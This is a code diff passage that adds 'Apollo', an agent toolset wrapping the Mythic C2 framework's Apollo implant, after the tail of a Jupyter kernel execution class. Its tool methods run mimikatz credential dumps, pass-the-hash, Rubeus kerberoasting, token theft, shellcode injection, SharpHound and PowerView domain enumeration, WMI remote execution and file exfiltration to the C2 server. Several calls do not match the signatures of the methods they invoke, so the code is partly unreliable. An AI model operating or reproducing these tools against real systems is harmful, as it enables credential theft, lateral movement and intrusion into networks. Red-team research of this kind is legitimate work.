..., + ) -> NotebookCell: ... + + @t.overload + async def execute( + self, + source: str | list[str], + *, + format: t.Literal["notebook"], + timeout: int = ..., + log_output: bool = ..., + ) -> Notebook: ... + + async def execute( # noqa: PLR0912, PLR0915 + self, + source: str | list[str], + *, + format: t.Literal["str", "cell", "notebook"] | None = None, + timeout: int = 30, + log_output: bool = False, + ) -> KernelExecution | Notebook | NotebookCell | str: + """Execute code in the kernel.""" + msg_id = str(uuid.uuid4()) + source = "".join(source) if isinstance(source, list) else source + execute_request = { + "header": { + "msg_id": msg_id, + "username": "user", + "session": str(uuid.uuid4()), + "msg_type": "execute_request", + "version": "5.0", + }, + "parent_header": {}, + "metadata": {}, + "content": { + "code": source, + "silent": False, + "store_history": True, + "user_expressions": {}, + "allow_stdin": False, + }, + } + + outputs: list[AnyDict] = [] + error: str | None = None + execution_count: int | None = None + + start_time = asyncio.get_event_loop().time() + + async with aiohttp.ClientSession() as session, session.ws_connect(self.ws_url) as ws: + await ws.send_json(execute_request) + + while (start_time + timeout) > asyncio.get_event_loop().time(): + try: + msg = await asyncio.wait_for(ws.receive_json(), timeout=1.0) + except asyncio.TimeoutError: + continue + + # Ensure this is for us + if msg.get("parent_header", {}).get("msg_id") != msg_id: + continue + + msg_type = msg.get("header", {}).get("msg_type") + content = msg.get("content", {}) + + if msg_type == "execute_result": + result_output = { + "output_type": "execute_result", + "metadata": content.get("metadata", {}), + "data": content.get("data", {}), + "execution_count": content.get("execution_count"), + } + outputs.append(result_output) + execution_count = content.get("execution_count") + + if log_output: + logger.info(content.get("data", {}).get("text/plain", "")) + + elif msg_type == "display_data": + display_output = { + "output_type": "display_data", + "metadata": content.get("metadata", {}), + "data": content.get("data", {}), + } + outputs.append(display_output) + + if log_output: + logger.info(content.get("data", {}).get("text/plain", "")) + + elif msg_type == "stream": + clean_text = strip_ansi_codes(content.get("text", "")) + stream_name = content.get("name", "stdout") + + # Try to append to an existing stream output + for i, output in enumerate(outputs): + if output["output_type"] == "stream" and output["name"] == stream_name: + outputs[i]["text"] += clean_text + break + else: + # Create a new stream output + if stream_name not in ("stdout", "stderr"): + stream_name = "stdout" + + stream_output = { + "output_type": "stream", + "name": stream_name, + "text": clean_text, + } + outputs.append(stream_output) + + if log_output: + logger.info(clean_text) + + elif msg_type == "error": + traceback = content.get("traceback", []) + error_output = { + "output_type": "error", + "ename": content.get("ename", ""), + "evalue": content.get("evalue", ""), + "traceback": traceback, + } + outputs.append(error_output) + error = strip_ansi_codes("\n".join(traceback)) + + elif msg_type == "execute_reply": + # In case we didn't receive an error message + if content.get("status") == "error" and not error: + error = f"{content.get('ename', '')}: {content.get('evalue', '')}" + # We're done processing this execution + break + else: + await self.interrupt() + raise asyncio.TimeoutError("Execution timed out") + + execution = KernelExecution( + source=source, + outputs=outputs, + error=error, + execution_count=execution_count, + ) + + match format: + case "str": + return execution.to_str() + case "cell": + return execution.to_cell() + case "notebook": + return execution.to_notebook() + case _: + return execution + + async def execute_cell(self, cell: NotebookCell) -> NotebookCell: + """Execute a notebook cell.""" + cell = cell.model_copy(deep=True) + + if cell.cell_type != "code": + return cell + + result = await self.execute(cell.source) + + cell.outputs = result.outputs + cell.execution_count = result.execution_count or cell.execution_count + + return cell + + @tool_method + async def execute_notebook( + self, + notebook: Notebook, + *, + stop_on_error: bool = True, + log_output: bool = True, + ) -> Notebook: + """Execute all cells in a notebook.""" + notebook = notebook.model_copy(deep=True) + + # Reset all outputs + for cell in notebook.cells: + if cell.cell_type == "code": + cell.outputs = [] + cell.execution_count = None + + # Execute each cell + logger.info(f"Executing notebook with {len(notebook.cells)} cells") + for i, cell in enumerate(notebook.cells): + if cell.cell_type != "code": + continue + + result = await self.execute(cell.source, log_output=log_output) + if not result.success and stop_on_error: + logger.error(f"Error in cell {i}: {result.error}") + break + + cell.outputs = result.outputs + cell.execution_count = result.execution_count or cell.execution_count + + return notebook + + @tool_method + async def execute_code(self, code: str) -> str: + """ + Execute Python code in the jupyter kernel and return the output. + """ + results = await self.execute(code, format="str") + + log_output("python_code_output", results) + return await self.execute(code, format="str") + + async def get_kernel_state(self) -> KernelState: + """Get the state of the kernel.""" + if not self._kernel_id: + raise PythonKernelNotRunningError + + async with ( + aiohttp.ClientSession() as session, + session.get( + f"{self._base_url}/api/kernels/{self._kernel_id}", + params={"token": self._token}, + ) as response, + ): + response.raise_for_status() + kernel_info = await response.json() + + return t.cast("KernelState", kernel_info["execution_state"]) + + async def busy(self) -> bool: + """Check if the kernel is busy executing code.""" + return await self.get_kernel_state() == "busy" + + async def interrupt(self) -> None: + """Interrupt the kernel.""" + if not self._kernel_id: + return + + async with ( + aiohttp.ClientSession() as session, + session.post( + f"{self._base_url}/api/kernels/{self._kernel_id}/interrupt", + params={"token": self._token}, + ) as response, + ): + response.raise_for_status() + + logger.debug(f"Kernel {self._kernel_id} interrupted") + + @tool_method + async def restart(self) -> None: + """Restart the kernel.""" + if not self._kernel_id: + return + + async with ( + aiohttp.ClientSession() as session, + session.post( + f"{self._base_url}/api/kernels/{self._kernel_id}/restart", + params={"token": self._token}, + ) as response, + ): + response.raise_for_status() + + logger.debug(f"Kernel {self._kernel_id} restarted") \ No newline at end of file diff --git a/dreadnode/agent/tools/mythic/__init__.py b/dreadnode/agent/tools/mythic/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/mythic/apollo/__init__.py b/dreadnode/agent/tools/mythic/apollo/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/mythic/apollo/tool.py b/dreadnode/agent/tools/mythic/apollo/tool.py new file mode 100644 index 00000000..79bfffea --- /dev/null +++ b/dreadnode/agent/tools/mythic/apollo/tool.py @@ -0,0 +1,1017 @@ +import tempfile +import typing as t +from dataclasses import dataclass +from pathlib import Path +from uuid import uuid4 + +import aiofiles +import rich +from loguru import logger +from rich.panel import Panel + +from dreadnode.agent.tools import Toolset, tool_method +from mythic import mythic # type: ignore + +MAX_ACTOR_PAYLOAD_SIZE = 1 * 1024 * 1024 + + +SCRIPTS_DIR = Path(__file__).resolve().parent / "scripts" + + +@dataclass +class Apollo(Toolset): + _client = None + _callback_id: int | None = None + _intialized: bool = False + + name: str = "Apollo" + description: str = "A Windows Post-Exploitation Tool" + + @classmethod + async def create( + cls, + username: str, + password: str, + server_ip: str, + server_port: int, + timeout: int = -1, + callback_id: int = 0, + ) -> "Apollo": + """Create an instance of the Apollo class.""" + + instance = cls() + + try: + client = await mythic.login( + username=username, + password=password, + server_ip=server_ip, + server_port=server_port, + timeout=timeout, + ) + + instance._client = client + instance._callback_id = callback_id + instance._intialized = True + await instance.create( + username=username, + password=password, + server_ip=server_ip, + server_port=server_port, + timeout=timeout, + ) + except Exception as e: + err_msg = f"Failed to login to Mythic: {e}" + logger.error(err_msg) + raise RuntimeError(err_msg) from e + else: + return instance + + async def execute( + self, + command: str, + args: dict[str, t.Any] | str, + timeout: int | None = None, + ) -> str: + """ + Executes supplied command to the Apollo implant through the Mythic C2 framework + """ + logger.debug(self._rich_print(f"Executing command: {command} with args: {args}")) + + try: + output_bytes = await mythic.issue_task_and_waitfor_task_output( + mythic=self._client, + command_name=command, + parameters=args, + callback_display_id=self._callback_id, + timeout=timeout, + ) + except (TimeoutError, ValueError) as e: + output = f"An unexpected error occured when trying to execute previous command. The error is:\n\n{e}.\n. Sometimes the command just needs to be re-executed, however if already tried to re-execute the command, best to move on to another." + logger.warning(self._rich_print(output)) + return output + + if not output_bytes: + output = f"Command '{command}' returned no output." + logger.debug(self._rich_print(output)) + return output + + logger.debug(self._rich_print(f"Command output: {output}")) + + return str(output_bytes.decode() if isinstance(output_bytes, bytes) else output_bytes) + + @tool_method(name="cat", description="Read the contents of a file at the specified path.") + async def cat( + self, + path: t.Annotated[str, "The path of the file to read."], + ) -> str: + if not path: + path = "" + + return await self.execute( + command="cat", + args=path, + ) + + @tool_method + async def cd(self, path: t.Annotated[str, "The path to change into."]) -> str: + """ + Change directory to [path]. Path relative identifiers such as ../ are accepted. The path can be absolute or relative. If the path is relative, it will be resolved against the current working directory of the agent. + + Examples: + cd -path C:\\\\Users\\Public\\Documents + cd .. + """ + + return await self.execute( + command="cd", + args=path, + ) + + @tool_method + async def cp( + self, + source: t.Annotated[str, "The path to the source file on the target system to copy."], + dest: t.Annotated[ + str | None, + "The destination path on the target system to copy the file to.", + ], + ) -> str: + """ + Copy a file from the source path to the destination path on the target system. The source and destination paths can be absolute or relative. If the paths are relative, they will be resolved against the current working directory of the agent. + + Examples: + cp c:\\\\path\\to\\source.txt C:\\\\path\\to\\destination.txt + cp -path C:\\\\path\\to\\source.txt" -dest" C:\\\\path\\to\\destination.txt + """ + + return await self.execute( + command="cp", + args=[ + "-source", + source, + "-dest", + dest, + ], + ) + + @tool_method + async def download( + self, + path: t.Annotated[str, "The full path of the file on the target system to download."], + ) -> str: + """ + Download a file from the target system to the C2 server. The file will be saved with the specified filename on the C2 server. + + Examples: + download -path "C:\\\\Windows\\\\passwords.txt" + """ + + return await self.execute( + command="download", + args=path, + ) + + @tool_method + async def getprivs(self) -> str: + """ + Attempt to enable all possible privileges for the agent's current access token. This may include privileges like SeDebugPrivilege, SeImpersonatePrivilege, etc. + """ + return await self.execute( + command="getprivs", + args="", + ) + + @tool_method + async def ifconfig(self) -> str: + """ + List the network interfaces and their configuration details on the target system. This includes IP addresses, subnet masks, and other relevant information. + """ + return await self.execute( + command="ifconfig", + args="", + ) + + @tool_method + async def jobkill( + self, + jid: t.Annotated[int, "The job identifier of the background job to terminate."], + ) -> str: + """ + Terminate a background job with the specified job identifier (jid). This will stop the job from running and free up any resources it was using. + + Examples: + jobkill 12345 + jobkill -jid 67890 + jobkill {"jid": 12345} + """ + return await self.execute( + command="jobkill", + args=jid, + ) + + @tool_method + async def jobs(self) -> str: + """ + Get all currently active background jobs being managed by the agent. + + Prompt: + List all currently active background jobs being managed by the agent. This includes jobs that are running, completed, or failed. + + Examples: + jobs + jobs -all + jobs {"all": true} + """ + + return await self.execute( + command="jobs", + args="", + ) + + @tool_method + async def ls( + self, + path: t.Annotated[ + str | None, + "The path of the directory to list. Defaults to the current working directory.", + ], + ) -> str: + """ + List files and folders in a specified directory. + If no path is specified, the current working directory will be used. The path can be absolute or relative. If the path is relative, it will be resolved against the current working directory of the implant. + """ + path = "" if not path or "null" in path.lower() else {"Path": path} + + return await self.execute( + command="ls", + args=path, + ) + + @tool_method + async def make_token( + self, + username: t.Annotated[str, "The username to use for the new logon session."], + password: t.Annotated[str, "The password for the specified username."], + netonly: t.Annotated[ + str | None, + "If true, the token will be created for network access only. If false, the token will be created for interactive access.", + ], + ) -> str: + """ + Create a new logon session using the specified [username] and [password]. The token can be created for network access only or interactive access based on the [netonly] parameter. + + Examples: + make_token -username user -password password -netonly false + make_token {"username": "user", "password": "password", "netonly": false} + make_token {"username": "domain\\sam_accountname","password": "users_password","netOnly": true} + """ + return await self.execute( + command="make_token", + args={"username": username, "password": password, "netOnly": str(netonly)}, + ) + + @tool_method + async def mimikatz( + self, + commands: t.Annotated[ + list[str], + "A list of Mimikatz commands to execute. Each command should be separated by a newline.", + ], + ) -> str: + """ + Execute one or more mimikatz commands using its reflective library. + + Examples: + mimikatz sekurlsa::logonpasswords + mimikatz sekurlsa::tickets + mimikatz token::list + mimikatz lsadump::sam + mimikatz sekurlsa::wdigest + mimikatz vault::cred + mimikatz vault::list + mimikatz sekurlsa::dpapi + """ + + return await self.execute( + command="mimikatz", + args=commands, + ) + + @tool_method( + name="net_dclist", + description="Enumerate Domain Controllers for the specified domain (or the current domain).", + ) + async def net_dclist( + self, + domain: t.Annotated[ + str | None, + "The target domain for which to enumerate Domain Controllers. Defaults to the current domain if omitted.", + ], + ) -> str: + domain = "" if not domain or "null" in domain.lower() else {"Domain": domain} + + return await self.execute( + command="net_dclist", + args=domain, + ) + + @tool_method + async def net_localgroup( + self, + computer: t.Annotated[ + str | None, "Defaults to the local machine (localhost) if omitted." + ] = None, + ) -> str: + """ + List the local groups on the specified [computer]. If no computer is specified, the local machine will be used. + + Examples: + net_localgroup -computer "east.dreadnode.local" + net_localgroup -computer "east.dreadnode.local" + """ + + return await self.execute( + command="net_localgroup", + args=computer or "", + ) + + @tool_method + async def net_localgroup_member( + self, + group: t.Annotated[str, "The name of the local group to list members for."], + computer: t.Annotated[ + str | None, + "The hostname or IP address of the target computer. Defaults to the local machine (localhost) if omitted.", + ] = None, + ) -> str: + """ + List the members of a specific local [group] on the specified [computer]. If no computer is specified, the local machine will be used. + + Examples: + net_localgroup_member -computer "east.dreadnode.local" -group "Administrators" + net_localgroup_member -computer "domain1.north.dreadnode.local" -group "Users" + """ + + return await self.execute( + command="net_localgroup_member", + args=f"-group {group} -computer {computer} " if computer else f"-group {group}", + ) + + @tool_method + async def net_shares( + self, + computer: t.Annotated[ + str, + "The hostname or IP address of the target computer. Defaults to the local machine (localhost) if omitted.", + ], + ) -> str: + """ + List network shares available on the specified [computer]. If no computer is specified, the local machine will be used. + + Examples: + net_shares -computer "north.sevenkingdoms.local" + net_shares -computer "winterfell.north.sevenkingdoms.local" + """ + + return await self.execute( + command="net_shares", + args=computer, + ) + + @tool_method + async def netstat(self) -> str: + """Display active TCP/UDP connections and listening ports on the target system. This includes information about the local and remote addresses, port numbers, and connection states.""" + return await self.execute(command="netstat", args="") + + @tool_method + async def powerpick( + self, + arguments: t.Annotated[ + str, + "The PowerShell command or script block to execute. This can be a single command or a script block enclosed in curly braces.", + ], + ) -> str: + """ + Injects a PowerShell loader into a sacrificial process and executes the provided PowerShell [command]. This allows for executing PowerShell commands or scripts in the context of the agent's current security token. + + powerpick -arguments "Get-Process" + """ + return await self.execute(command="powerpick", args=arguments) + + @tool_method + async def powershell_import( + self, + filename: t.Annotated[ + str, + ".ps1 file to be registered within Apollo agent and made available to PowerShell jobs", + ], + ) -> str: + """ + Register a new powershell .ps1 file in the Apollo agent and allow for powershell script to be available for PowerShell jobs. + This is not Powershell's Import-Module command but Apollo's native powershell import command. The file must exist on the Mythic C2 server. If file is not present, it can be uploaded with the upload tool. + """ + return await self.execute( + command="powershell_import", args={"existingFile": filename}, timeout=60 + ) + + @tool_method + async def powershell_script( + self, + filename: t.Annotated[str, "File name of powershell script."], + script: t.Annotated[str, "Powershell script. Encoded as a raw string."], + entry_function: t.Annotated[ + str, + "Name of the Powershell entry function to call to start execution of the script.", + ], + ) -> str: + """ + Executes the supplied powershell script on a target host. Supply the powershell script as a string. The powershell script must be composed of powershell functions where one of these functions will be the entry function that will be called to start the script. + """ + if not filename.endswith(".ps1"): + filename = f"{filename}.ps1" + + # NOTE: cant use Python tempfile here as need specific filename + local_tmp_file = await self._write_tmp_file(filename=filename, text=script) + + # 2. upload powershell script file to Mythic server + upload_result = await self._client.upload_file_to_mythic_server( + filename=local_tmp_file, reupload=True + ) + await self._delete_local_file(local_tmp_file) + if upload_result["file_id"] is None: + return "Error running 'powershell_script' commmand.\n\n Attempting to upload powershell script file to Mythic led to unknown error." + + pi_result = await self.powershell_import(filename) + + if "will now be imported in PowerShell commands" not in pi_result: + return "Error running 'powershell_import' Mythic command." + + return await self.powerpick(command=entry_function) + + @tool_method + async def powerview( + self, + command: t.Annotated[ + str, + "Powerview command line arguments to supply to the powershell instance and execute.", + ], + credential_user: t.Annotated[ + str | None, "username to execute Powerview commands as specified user" + ] = None, + credential_password: t.Annotated[ + str | None, "password to execute Powerview commands as specified user" + ] = None, + domain: t.Annotated[ + str | None, "domain to execute Powerview commands as specified user" + ] = None, + ) -> str: + """ + Imports PowerView into Powershell (for use) and then executes the supplied command line arguments in current Powershell instance. + + """ + + powerview_script_filename = "PowerView.ps1" + upload_result = await self._client.upload_file_to_mythic_server( + filename=SCRIPTS_DIR / powerview_script_filename, + reupload=False, + ) + if upload_result["file_id"] is None: + return f"Error running 'powerview' command.\n\n Attempting to upload {powerview_script_filename} file to Mythic led to unknown error." + logger.info(self._rich_print(f"Uploaded {powerview_script_filename} to Mythic.")) + + pi_result = await self.powershell_import(filename=upload_result["filename"]) + if "will now be imported in PowerShell commands" not in pi_result: + return f"Error running [COMMAND] 'powershell_import': - {pi_result}." + + if all([credential_user, credential_password, domain]): + powerview_cmd = f"{command} -Credential (New-Object -TypeName 'System.Management.Automation.PSCredential' -ArgumentList '{domain}\\{credential_user}', (ConvertTo-SecureString -String '{credential_password}' -AsPlainText -Force))" + + return await self.powerpick(command=powerview_cmd) + + @tool_method + async def pth( + self, + domain: t.Annotated[ + str, "The target domain for which to perform the Pass-the-Hash operation." + ], + username: t.Annotated[str, "The username to authenticate as."], + password_hash: t.Annotated[ + str, + "The NTLM hash of the user's password. This is used instead of the plaintext password.", + ], + ) -> str: + """ + Authenticate to a remote system using a Pass-the-Hash technique with the specified [domain], [username], and [password_hash]. This allows for authentication without needing the plaintext password. + + Examples: + pth -domain "north.sevenkingdoms.local" -username "jeor.mormont" -password_hash "5f4dcc3b5aa765d61d8327deb882cf99" + """ + return await self.execute( + command="pth", + args=[ + "-domain", + domain, + "-username", + username, + "-password_hash", + password_hash, + ], + ) + + @tool_method + async def ps( + self, + args: t.Annotated[str, "arguments for the 'ps' command, encoded in a string"], + ) -> str: + """List running processes on the target system, typically including PID, name, architecture, and user context.""" + return await self.execute( + command="ps", + args=args, + ) + + @tool_method + async def pwd(self) -> str: + """Print the agent's current working directory on the target system. This is the directory where the agent is currently operating.""" + return await self.execute( + command="pwd", + args="", + ) + + @tool_method + async def reg_query( + self, + key: t.Annotated[ + str, + "The full path of the registry key to query (e.g., 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion').", + ], + ) -> str: + """Query the values and subkeys under a specified registry [key]. This allows for retrieving information from the Windows registry. + + Examples: + reg_query -key "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion" + """ + return await self.execute( + command="reg_query", + args=key, + ) + + @tool_method + async def register_assembly( + self, + filename: t.Annotated[str, "Assembly file to register to the Apollo agent"], + ) -> str: + """ + Registers (loads) assembly files/commands to a Mythic agent. + """ + return await self.execute( + command="register_assembly", + args={"existingFile": filename}, + fix_dependencies=False, + ) + + @tool_method + async def rev2self(self) -> str: + """ + Revert the agent's impersonation state, returning to its original primary token. This is useful for restoring the agent's original security context after performing actions with a different token. + + This command is useful when the agent has been impersonating another user or process and needs to revert back to its original state. + """ + return await self.execute( + command="rev2self", + args="", + ) + + @tool_method + async def rubeus_asreproast(self) -> str: + """ + Execute ASREP-Roast technique against current domain using the Rubeus tool. The technique extracts kerberos ticket-granting tickets for active directory users that dont require pre-authentication on the domain. If ticket-granting tickets can be obtained, they will be returned (in hash form) + .""" + return await self.execute( + command="execute_assembly", args="Rubeus.exe asreproast /format:hashcat" + ) + + @tool_method + async def rubeus_kerberoast( + self, + cred_user: t.Annotated[ + str, + "principal domain user to execute the command under, formatted in fqdn format: 'domain\\user'", + ], + cred_password: t.Annotated[str, "principal domain user password"], + user: t.Annotated[str | None, "specific domain user to target for kerberoasting"] = None, + spn: t.Annotated[str | None, "specific SPN to target for kerberoasting"] = None, + ) -> str: + """ + Kerberoast a user current domain using the Rubeus tool. The tool extracts kerberos ticket-granting tickets for active directory users that have service principal names (SPNs) set. To use 'rubeus_kerberoast' tool, you must have a username and password of existing user on the active directory domain. If ticket-granting tickets for the SPN accounts can be obtained, they will be returned (in a hash format). + """ + args = f"Rubeus.exe kerberoast /creduser:{cred_user} /credpassword:{cred_password} /format:hashcat" + + if user is not None: + args += f" /user:{user}" + + if spn is not None: + args += f" /spn:{spn}" + + return await self.execute(command="execute_assembly", args=args) + + @tool_method + async def seatbelt(self) -> str: + """Performs a number of security oriented host-survey 'safety checks' relevant from both offensive and defensive security perspectives.""" + return await self.execute(command="execute_assembly", args="Seatbelt.exe") + + @tool_method + async def set_injection_technique( + self, + technique: t.Annotated[ + str, + "The name of the process injection technique to use for subsequent injection commands (e.g., 'CreateRemoteThread', 'MapViewOfSection'). Must be a technique supported by the agent (see `get_injection_techniques`).", + ], + ) -> str: + """ + Set the default process injection technique used by commands like `assembly_inject`, `execute_assembly`, etc. This allows for specifying the method of injecting code into a target process. + + Examples: + set_injection_technique -technique "CreateRemoteThread" + """ + return await self.execute( + command="set_injection_technique", + args=technique, + ) + + @tool_method + async def setspn(self, args: t.Annotated[str, "Command line arguments for setspn tool"]) -> str: + """ + Allows for reading, modifying, and detelting the Service Principal Names (SPN) directory property for an Active Directory (AD) account. You can use setspn to view the current SPNs for an account, reset the account's default SPNs, and add or delete supplemental SPNs. + + Reference: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setspn + """ + return await self.powerpick(arguments=f"($sspn = setspn {args}); echo $sspn") + + @tool_method + async def sharphound_and_download( + self, + domain: t.Annotated[str, "domain to enumerate."], + ldap_username: t.Annotated[str | None, "LDAP username to use for Sharphound."] = None, + ldap_password: t.Annotated[str | None, "LDAP username to use for Sharphound."] = None, + local_filename: t.Annotated[str | None, "Filename"] = None, + ) -> str | dict: + """ + Run sharphound on the target callback to collect Bloodhound data. Then download the + Bloodhound results file to a local file. "local" being wherever the agent is running. + """ + + upload_result = await self.upload( + filename=SCRIPTS_DIR / "SharpHound.ps1", + reupload=False, + ) + if upload_result["file_id"] is None: + return "Error running command 'sharphound_and_download'.\n\n Attempting to upload powershell script file to Mythic led to unknown error." + logger.info(self._rich_print("Uploaded SharpHound to Mythic.")) + + pi_result = await self.powershell_import(filename=upload_result["filename"]) + if "will now be imported in PowerShell commands" not in pi_result: + return f"Error running 'sharphound_and_download': {pi_result}" + + zip_filename_marker = f"{uuid4()!s}.zip" + sharp_cmd = f"Invoke-BloodHound -Zipfilename {zip_filename_marker} -Domain {domain}" + if all([ldap_username, ldap_username]): + sharp_cmd += f" --ldapusername {ldap_username} --ldappassword {ldap_password}" + + sharphound_result = await self.powerpick(command=sharp_cmd, timeout=120) + + if "SharpHound Enumeration Completed" not in sharphound_result: + return f"Error running 'sharphound_and_download'.\n\n Command response:\n{sharphound_result}" + + sharp_results_fn = await self.powerpick( + command=f"(Get-ChildItem -Path .\\ -Filter '*{zip_filename_marker}').name", + fix_dependencies=True, + ) + + if zip_filename_marker not in sharp_results_fn: + return f"Error running 'sharphound_and_download'.\n\n Command response:\n{sharp_results_fn}" + + sharp_results_fn = sharp_results_fn.strip("\r\n").split("\r\n")[-1] + + local_download_file = await self.download(filepath=sharp_results_fn) + + if not isinstance(local_download_file, dict): + return f"Error running 'sharphound_and_download'.\n\n Command response:\n{local_download_file}" + logger.info(self._rich_print(f"Downloaded file to:{local_download_file['path']}")) + + # 6. rename local file if supplied Command specified a specific filename to use + if local_filename: + Path.rename(local_download_file.path, local_filename) + logger.info( + self._rich_print( + f"Renamed filename from {local_download_file.path} to {local_filename}" + ) + ) + local_download_file["path"] = str(Path(local_filename).resolve()) + local_download_file["name"] = Path(local_download_file["path"]).name + + return local_download_file + + @tool_method + async def sharpview( + self, + method: t.Annotated[str, "SharpView method to execute"], + method_args: t.Annotated[str, "arguments for the selected SharpView method"], + ) -> str: + """ + Used to gain network situational awareness on Windows domains. + + Available methods to use for the tool: + + Get-DomainGPOUserLocalGroupMapping + Find-GPOLocation + Get-DomainGPOComputerLocalGroupMapping + Find-GPOComputerAdmin + Get-DomainObjectAcl + Get-ObjectAcl + Add-DomainObjectAcl + Add-ObjectAcl + Remove-DomainObjectAcl + Get-RegLoggedOn + Get-LoggedOnLocal + Get-NetRDPSession + Test-AdminAccess + Invoke-CheckLocalAdminAccess + Get-WMIProcess + Get-NetProcess + Get-WMIRegProxy + Get-Proxy + Get-WMIRegLastLoggedOn + Get-LastLoggedOn + Get-WMIRegCachedRDPConnection + Get-CachedRDPConnection + Get-WMIRegMountedDrive + Get-RegistryMountedDrive + Find-InterestingDomainAcl + Invoke-ACLScanner + Get-NetShare + Get-NetLoggedon + Get-NetLocalGroup + Get-NetLocalGroupMember + Get-NetSession + Get-PathAcl + ConvertFrom-UACValue + Get-PrincipalContext + New-DomainGroup + New-DomainUser + Add-DomainGroupMember + Set-DomainUserPassword + Invoke-Kerberoast + Export-PowerViewCSV + Find-LocalAdminAccess + Find-DomainLocalGroupMember + Find-DomainShare + Find-DomainUserEvent + Find-DomainProcess + Find-DomainUserLocation + Find-InterestingFile + Find-InterestingDomainShareFile + Find-DomainObjectPropertyOutlier + TestMethod + Get-Domain + Get-NetDomain + Get-DomainComputer + Get-NetComputer + Get-DomainController + Get-NetDomainController + Get-DomainFileServer + Get-NetFileServer + Convert-ADName + Get-DomainObject + Get-ADObject + Get-DomainUser + Get-NetUser + Get-DomainGroup + Get-NetGroup + Get-DomainDFSShare + Get-DFSshare + Get-DomainDNSRecord + Get-DNSRecord + Get-DomainDNSZone + Get-DNSZone + Get-DomainForeignGroupMember + Find-ForeignGroup + Get-DomainForeignUser + Find-ForeignUser + ConvertFrom-SID + Convert-SidToName + Get-DomainGroupMember + Get-NetGroupMember + Get-DomainManagedSecurityGroup + Find-ManagedSecurityGroups + Get-DomainOU + Get-NetOU + Get-DomainSID + Get-Forest + Get-NetForest + Get-ForestTrust + Get-NetForestTrust + Get-DomainTrust + Get-NetDomainTrust + Get-ForestDomain + Get-NetForestDomain + Get-DomainSite + Get-NetSite + Get-DomainSubnet + Get-NetSubnet + Get-DomainTrustMapping + Invoke-MapDomainTrust + Get-ForestGlobalCatalog + Get-NetForestCatalog + Get-DomainUserEvent + Get-UserEvent + Get-DomainGUIDMap + Get-GUIDMap + Resolve-IPAddress + Get-IPAddress + ConvertTo-SID + Invoke-UserImpersonation + Invoke-RevertToSelf + Get-DomainSPNTicket + Request-SPNTicket + Get-NetComputerSiteName + Get-SiteName + Get-DomainGPO + Get-NetGPO + Set-DomainObject + Set-ADObject + Add-RemoteConnection + Remove-RemoteConnection + Get-IniContent + Get-GptTmpl + Get-GroupsXML + Get-DomainPolicyData + Get-DomainPolicy + Get-DomainGPOLocalGroup + Get-NetGPOGroup + """ + return await self.powerpick(f"Invoke-SharpView -Method {method} -Arguments {method_args}") + + @tool_method + async def shinject(self) -> str: + """ + Inject raw shellcode into a remote process. This allows for executing arbitrary code in the context of another process. + + Examples: + shinject -path "C:\\\\Windows\\\\System32\\\\notepad.exe" -shellcode "0x90, 0x90, 0x90" + """ + return await self.execute( + command="shinject", + args="", + ) + + @tool_method + async def spawn(self) -> str: + """Spawn a new agent session using the currently configured 'spawnto' executable and payload template (must be shellcode).""" + + return await self.execute( + command="spawn", + args="", + ) + + @tool_method + async def spawnto_x64( + self, + path: t.Annotated[ + str, + "The full path to the 64-bit executable that the agent should launch for subsequent post-exploitation jobs or spawning new sessions.", + ], + args: t.Annotated[ + str | None, + "A list of command-line arguments to launch the [path] executable with.", + ], + ) -> str: + """ + Configure the default 64-bit executable [path] (and optional [args]) used for process injection targets and spawning. This allows for specifying the executable that will be used for subsequent post-exploitation jobs or spawning new sessions. + + Examples: + spawnto_x64 -path "C:\\\\Windows\\\\System32\\\\notepad.exe" -args "-arg1 -arg2" + """ + return await self.execute( + command="spawnto_x64", + args=[path, args] if args else [path], + ) + + @tool_method + async def steal_token( + self, + pid: t.Annotated[ + int, + "The process ID (PID) from which to steal the primary access token. If omitted, a default process (like winlogon.exe) might be targeted.", + ], + ) -> str: + """ + Impersonate the primary access token of another process specified by its [pid]. This allows for executing commands with the security context of the target process. + + Examples: + steal_token -pid 1234 + """ + return await self.execute( + command="steal_token", + args=pid, + ) + + @tool_method + async def unlink(self) -> str: + """ + Disconnect a specific callback communication channel (e.g., an SMB or TCP P2P link). This allows for terminating the connection to a specific channel without affecting other channels. + + Examples: + unlink -channel "smb" + """ + return await self.execute( + command="unlink", + args="", + ) + + @tool_method + async def upload( + self, + path: t.Annotated[str, "Local path of the file to upload"], + destination: t.Annotated[str, "Destination path on the remote host"], + ) -> str: + """ + Upload a file from the C2 server/operator machine to the target system. The file will be saved with the specified filename on the target system. + + Examples: + upload -path "C:\\Windows\\passwords.txt" -dest "C:\\Users\\Administrator\\passwords.txt" + upload {"Path": "C:\\Windows\\passwords.txt", "Destination": "C:\\Users\\Administrator\\passwords.txt"} + """ + + return await self.execute( + command="upload", + args={"Path": path, "Destination": destination}, + ) + + @tool_method + async def whoami(self) -> str: + """Display the username associated with the agent's current security context (impersonated token or primary token). This includes information about the user and their privileges.""" + return await self.execute( + command="whoami", + args="", + ) + + @tool_method + async def wmiexecute( + self, + arguments: t.Annotated[str, "The command or script block to execute on the remote system."], + ): + """Execute a command on a remote system using WMI (Windows Management Instrumentation). This allows for executing commands remotely without needing to establish a direct connection. + + Examples: + wmiexecute -arguments "Get-Process" + """ + return await self.execute( + command="wmiexecute", + args=arguments, + ) + + async def _write_tmp_file( + self, filename: str, text: str | None = None, raw_bytes: bytes | None = None + ) -> str: + """creates a file, also in a temporary directory, and writes supplied contents. + + Returns: absolute filepath + """ + if not any([raw_bytes, text]): + raise TypeError("File contents, as bytes or text must be supplied.") + + tmp_dir = tempfile.TemporaryDirectory(delete=False) + fullpath = Path(tmp_dir.name) / filename + + if raw_bytes: + async with aiofiles.open(fullpath, mode="wb") as fh: + await fh.write(raw_bytes) + elif text: + async with aiofiles.open(fullpath, mode="w") as fh: + await fh.write(text) + + return str(fullpath) + + async def _delete_local_file(self, filename: str) -> None: + """delete a local file""" + try: + fp = Path.resolve(filename) + Path.unlink(fp) + except (FileNotFoundError, OSError) as e: + logger.warning(self._rich_print(f"Error trying to delete file {filename}: {e}")) + + async def _delete_local_file_and_dir(self, filename: str) -> None: + """delete a local file and its parent directory""" + try: + fp = Path.resolve(filename) + Path.unlink(fp) + Path.rmdir(Path.parent(fp)) + except (FileNotFoundError, OSError) as e: + logger.warning( + self._rich_print(f"Error trying to delete file and directory {filename}: {e}") + ) + + def _rich_print(self, s: str) -> str: + 